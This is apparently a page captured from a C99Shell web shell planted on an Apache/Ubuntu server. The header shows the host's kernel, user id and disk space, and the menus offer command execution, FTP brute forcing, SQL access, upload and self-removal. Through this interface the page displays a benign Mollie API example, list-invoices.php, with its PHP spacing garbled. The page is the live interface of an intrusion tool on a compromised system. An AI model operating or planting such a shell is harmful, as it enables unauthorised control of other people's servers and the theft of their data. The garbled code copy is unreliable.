!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/uploads/script/vendor/mollie/mollie-api-php/examples/invoices/   drwxr-xr-x
Free 13.09 GB of 57.97 GB (22.59%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     list-invoices.php (1.62 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/*
 * List the Mollie invoices.
 */

try {
    
/*
     * Initialize the Mollie API library with your API key or OAuth access token.
     */
    
require "../initialize_with_oauth.php";

    
/*
    * Get all the activated methods for this API key.
    */
    
$invoices $mollie->invoices->all();
    foreach (
$invoices as $invoice) {
        echo 
'<li><b>Invoice ' htmlspecialchars($invoice->reference) . ':</b> (' htmlspecialchars($invoice->issuedAt) . ')';
        echo 
'<br>Status: <b>' $invoice->status;
        echo 
'<table border="1"><tr><th>Period</th><th>Description</th><th>Count</th><th>VAT Percentage</th><th>Amount</th></tr>';
        foreach (
$invoice->lines as $line) {
            echo 
'<tr>';
            echo 
'<td>' htmlspecialchars($line->period) . '</td>';
            echo 
'<td>' htmlspecialchars($line->description) . '</td>';
            echo 
'<td align="right">' htmlspecialchars($line->count) . '</td>';
            echo 
'<td align="right">' htmlspecialchars($line->vatPercentage) . '</td>';
            echo 
'<td align="right">' htmlspecialchars($line->amount->currency " " $line->amount->value) . '</td>';
            echo 
'</tr>';
        }
        echo 
'<tr><th colspan="5" align="right">Gross Total</th><th align="right">' htmlspecialchars($invoice->grossAmount->value " " $invoice->grossAmount->currency) . '</th></tr>';
        echo 
'</table>';
        echo 
'<a href="'$invoice->_links->pdf->href .'" target="_blank">Click here to open PDF</a>';
        echo 
'</li>';
    }
} catch (
\Mollie\Api\Exceptions\ApiException $e) {
    echo 
"API call failed: " htmlspecialchars($e->getMessage());
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0057 ]--